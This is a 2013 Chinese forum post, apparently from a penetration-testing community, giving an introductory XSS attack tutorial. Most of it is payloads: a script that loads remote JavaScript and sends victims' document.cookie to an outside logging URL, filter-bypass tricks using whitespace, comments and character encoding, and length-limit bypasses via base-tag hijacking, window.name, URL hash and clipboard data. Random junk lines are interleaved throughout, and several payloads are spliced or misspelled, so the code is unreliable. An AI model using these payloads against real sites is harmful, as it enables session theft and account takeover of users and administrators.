中国网络渗透测试联盟
标题:
XSS跨站脚本攻击初探
[打印本页]
作者:
admin
时间:
2013-1-11 21:36
标题:
XSS跨站脚本攻击初探
XSS跨站脚本攻击的基本原理和SQL 注入攻击类似（个人观点），都是利用系统执行了未经过滤的危险代码，不同点在于XSS是一种基于网页脚本的注入方式，也就是将脚本攻击载荷写入网页执行以达到对网页客户端访问用户攻击的目的，属于客户端攻击。而SQL注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句从而操纵数据库，从而进一步探测、操纵数据库信息。属于服务器攻击？（菜鸟看法）。
' O2 W! O+ o; a% I4 g9 K
XSS攻击前奏（XSS bug 检测）
5 a" [" d, d# a/ n% \9 I" M5 X$ ~ g
1、最常见的最经典的XSS bug检测语句必然是
- x% @9 G+ x4 O5 e! e+ Y6 R, K
<script>alert(/XSS/)</script> ①
! R7 @; @6 [. E4 y* Y' m
比如在存在XSS bug的留言板上写上留言①,当访问留言板网页时会弹出对话框:
7 }# s0 K+ S% D; G1 g
6 R" W! G& v$ K) I$ Q
这表明我们输入的语句被原样写入的网页并被浏览器执行了.那么我们就有机会执行我们的脚本攻击载荷:
' Q5 I- v: c9 ]" j$ @
<script src =
http://www.labsecurity.org/xssbug.js
></script>
! w! q1 _; y/ w. W+ S8 f
在我们的网络空间
www.labsecurity.org上的xssbug.js
代码可以是
& r( f; E& l' m* s& W; h3 D
Var img = document.createElement(“img”);
0 W j4 ^! G; C9 ]: C7 t. p3 t
Img.src = “
http://www.labsecurity.org/log?
”+escape(document.cookie);
4 n( U5 N. c3 ]; m
document.body.appendChild(img);
) ?, H" P$ A. `: s0 S+ |
如果我们如上代码顺利执行,那么被攻击者在目标网站的登录cookie就写进了log.得到其cookie后,进行浏览器重新发包就可以以被攻击者身份登录目标网站.(被攻击者可以是普通用户也可以使网站超级管理员).
3 B) p& e- }# ~2 A: X: `* ?) n0 A
将窃取cookie的代码换成下载者地址就可以将下载者下载到存在下载者攻击漏洞的用户电脑上.
' y- S: B5 J3 g& O- f" T/ y
也可以将代码换成目标用户在网站上的某些操作的 数据包脚本.促使在不知情的情况下”自愿”进行某些操作.
8 R6 E" |7 V* O1 w. Y# k
对于Cookie窃取的防御可以使ＩＰ绑定等方案了．
: m0 h1 @4 i' m
X4 w/ f4 P5 f7 U" z
既然存在ＸＳＳ攻击那么程序员在开发时必然会进行某些危险关键字的过滤，以及限制用户的输入长度．这样即使存在ｘｓｓ漏洞．Ｈａｃｋ也只能检测，却不能够写入攻击载荷（长度限制啊）．
( P4 p# [/ {) k8 I* Z
利用IMG图片标记属性跨站
$ m. P8 e3 Q& z6 g; X% B
当然也可以像上面所说的在留言板中输入
, w: U0 M9 h6 I' s, p4 E" \ ^! }
<img src=”javacript:alert(/XSS/)”></img>
9 Y8 v1 k, b9 Q: R Y M
这所说的不是这样是在用户上传图片时将图片路径修改为一段可执行的XSS测试脚本.
# B7 ~! l; U* n: ?% {3 h$ Q: h- x
如果存在XSS漏洞那么此类脚本就会被执行.这类脚本要闭合双引号”>”等.
B6 c: g8 J! A6 Z8 K$ ?: Z
利用DIV标签属性跨站
/ B8 H, C5 m" M) e2 b. J
<div style=”width:0;height:0;background:url(javascript:document.body.onload = function(){alert(/XSS/);};”></div>
: O# C( N6 j/ f4 U* f3 F9 y
利用已知事件攻击
4 Y2 B2 Q: Q6 ~. {8 [
移动特效字<marquee>文字</marquee>
) z" i. O9 w& C1 d( {- M' D I3 A
<marquee onsB.<div style=”” onmouseenter=”alert(/XSS/)”>文字</div>
9 v& V4 w4 b/ a1 n S2 E# J: Y
构造事件
2 K! U, N9 U% S' v
<img style=”#” style=”TEST:e­xpression(alert(/XSS/));”>
- p& |5 T, z3 }" { U4 `& }
常用的事件构造
+ \1 c" ^6 _: Q; s+ B1 M9 t% C; Z
<font style = “TEST:e­xpression(alert(/XSS/))”></font>
" S1 }7 |! [$ O7 z7 \5 h7 ?5 ^
<li style = “TEST:e­xpression(alert(/XSS/))”></li>
% Q4 \6 E& j2 ?4 P
<table style = “TEST:e­xpression(alert(/XSS/))”></table>
K6 f" Y* D$ |. _( t7 ~
<a style = “TEST:e­xpression(alert(/XSS/))”></a>
8 `' e8 `: K7 R" A( g3 R9 K
<b style = “TEST:e­xpression(alert(/XSS/))”></b>
( ?( c; Y+ h; M5 k) Z4 A
<ul style = “TEST:e­xpression(alert(/XSS/))”></ul>
q1 \. G3 i( Z0 \, s
<marque tyle = “TEST:e­xpression(alert(/XSS/))”></marquee>
* Y6 a9 |/ ]8 g6 U* }, k& T" P3 d
突破程序员的过滤限制
. S& F! h5 a d
利用javascript换行与空格突破过滤
6 d+ G4 K* c1 m. A, A3 @% Y4 `, p
<img src = j ava script:al er t(/XSS/)>///空格使用Tab键产生
+ U6 _: Y; } r& ^# _+ q( s. Y
<img src = j
: R% v" w% Z7 B! ~, O7 t# x
ava script :a ler t(/xss/)>
A6 h/ v& t4 P0 |7 W2 |0 b
利用注释<img src = “#”/**/onerror = alert(/XSS/)>
7 D/ h. z" ^3 w
转代码,绕过滤
& K5 h% N* B7 K$ H$ I( t$ s
使用大小写转换绕过过滤
2 F; _ _" g$ c6 A+ V) ~2 O, N
使用进制编码
$ w. _1 z) N( {
空格回车符
' y. C/ r! M4 z: |* A
- p: w, v) w7 x9 I# x" ^2 h
JS 还原函数法
! Y6 s9 ?" F- @3 s1 V
String.fromCharCode()可以将ASCII编码还原成字符串,那么就可以eval(String.fromCharCode(97,108,101.....))
! @* `# {( ~, A
突破长度限制
/ U: H+ x' f% x7 }
注释符闭合相邻的输入框达到合并的目的
- Y y6 K5 r1 q& C
<input id = 1 type = “text” value=””/>
! v# g% y, K, c) T
<input id = 2 type = “text” value = “”/>
8 W8 \, n" ?1 _, v7 v
这样我们可以在第一个框中输入”>alert<!--
. k" [$ R7 c0 R+ S! P( q* ~# x% b
在第二个输入框中输入--><script>(/XSS/);</script>
! D |9 J0 x% ]: V2 g( A7 s
这样效果就是
3 ~ y/ l& [7 E, o- L
<input id = 1 type = “text” value=”” <script>alert(/XSS/)</script>”/>
2 I7 J* @: b2 A# O
使用<base>标签进行相对路径劫持
5 @6 T0 Z9 {% K4 Q* _, x
<body>tart=”alert(/XSS/)”>文字</marquee>
) F2 R y" f' w- o' M
<base href=”
http://www.labsecurity.org
”/>
7 F0 S! r ~; H9 d% I6 ^
<img src = “evil.js”>
3 B( K, A# S0 H% e4 Y! M0 F
<body>
& [" K0 |, ^* R& s" @
当我们没有使用base标签时evil.js是调用的服务器根目录下的evil.js脚本文件.当我们使用<base>脚本后.那么在此标签后的所有相对路径为我们设置的网站.
; A1 q" A0 M* ]& p: L6 k5 q: {
因此可以先使用<base>脚本劫持,然后再写入<img src=”xxx.js”>突破长度限制.
, B' _1 i1 @+ V6 `; `
使用window.name进行字符串传递
: p8 z- Z: A) s" j4 \ N& ?1 T& b
在我们自己的构造的页面中写入如下代码
* T% b: O5 J# P
<script>
/ |! I0 J. a1 l
Window.name=”<script src=http://www.labsecurity.org/xss.js><script>”
! |, H3 s6 A& d: u& d, M/ q5 F
Window.location=”
http://www.xxxx.com/xxx.asp
”
* z: [* {- R: T
</script>
, m( H- M0 k6 O2 B- v, Y3 \
当我们跳转到目标网页时我们的window.name值为我们设置的跨站脚本语句.
. q4 O3 b% v# m( C; A$ g3 R
因此我们可以使用eval(name)进行跨站攻击.
6 N* |2 ?' Q7 k) D2 N
利用上下文扩展长度
* O+ m: Q0 R0 k% S, _( R
<div id="x">alert%28document.cookie%29%3B</div>
: p6 O. J$ C' ~* l+ p" m3 s
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
( \/ }( m/ T8 W1 v: h# J
上文是不限制长度的安全数据,那么我们就可以在下文中使用此安全数据.进行XSS攻击突破长度.
9 f n/ u$ @0 h; P* P- f( [2 a4 q* `
5.利用URL 中的数据
8 ?& [: O3 I( [4 X& X _9 |3 q
如果页面里不存在上一节所说的可控HTML 上下文数据怎么办？有些数据是我们无条件可控的，第一个想到的就是URL，通过在URL 的尾部参数构造要执行的代码，然后在XSS点通过
) K2 u" B W! b7 b/ @
document.URL/location.href 等方式获得代码数据执行，这里假设代码从第80 个字符开始到
& d- I/ Z( X/ @# u3 x) M
最后：
" I, \7 W6 z$ C8 i7 [
--code-------------------------------------------------------------------------
$ a) H8 U" \3 E. Q: b- y
http://www.xssedsite.com/xssed.php?x=1....&alert
(document.cookie)
7 b. b" A$ O3 K
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
5 ^* C' j. T% G1 s/ W6 _+ j
长度：30
0 I* Y' W! v, ^# i1 ]; r, X, ]' ~
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
# L" ?- {5 K9 B7 ~: v: I
长度：31
5 k" Z' L$ `9 W( Y- c% v. H
上面两个例子对比，前一个例子更短，那么有没有办法更短呢？通过查阅Javascript 手册
3 u3 H$ r0 ~ ~& F. }) ^
的String 的方法可以发现，切割字符串有一个更短的函数slice，5 个字符比substr 还要短一个字符：
" |0 w u5 |( R, W o1 ^, }
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
/ L# e9 i' s0 Z y' o! u
长度：29
$ ^, I) s. X$ l9 l, V, M
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
' P$ G2 ^8 \! Z& }
长度：30
4 ~. m9 ^' P4 U: v; P
那么还有没有办法更短呢？答案是YES，查阅一下MSND 里的location 对象的参考你会发现有个hash 成员，获取#之后的数据，那么我们可以把要执行的代码放在#后面，然后通过hash获得代码执行，由于获得的数据是#开头的，所以只需要slice 一个字符就可以拿到代码：
& h* A' [& w2 s- b( v1 B5 N! @
http://www.xssedsite.com/xssed.php?x=1....#alert
(document.cookie)
/ z9 I7 b! b6 W% g7 D$ |9 W! c7 Y7 P
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
|/ z4 [2 B: q: w6 L- }
长度：29
5 G2 F2 k0 d: o' @( K0 g, H" S" }0 J% _
这样比上面的例子又少了一个字符。那么还可以更短么？
$ n) Y$ X' ]4 H( [% S
6.剪切板clipboardData
5 A2 G' g* K: G/ D' L W
攻击者在自己域的页面上通过clipboardData 把Payload 写入剪切板，然后在被XSS 页面获取并执行该数据。攻击者构造的页面：
( q8 h) ^# C6 U$ g# B
--code-------------------------------------------------------------------------
1 x- E- y2 y5 y& C- C! |
<script>
4 {) _1 Q& A+ k* E
clipboardData.setData("text", "alert(document.cookie)");
/ I: [1 X5 e) O9 g2 \2 m9 ]5 {
</script>
3 y( | d6 j. [2 P! x' n2 t
-------------------------------------------------------------------------------
. N- L8 u ^7 V7 I+ e" y
被XSS 的页面：
* L5 r+ K: D: q% G W$ F, Y
--code-------------------------------------------------------------------------
1 L# B6 }) h$ k7 |9 g s! a
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
! [( w6 K# { m& ?) E- `
-------------------------------------------------------------------------------
- j N P) z7 ^5 ^/ N1 V; p' u5 P
长度：36
% e S2 g$ X4 z; {- s5 w0 q
这种方式只适用于IE 系列，并且在IE 7 及以上版本的浏览器会有安全提示
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2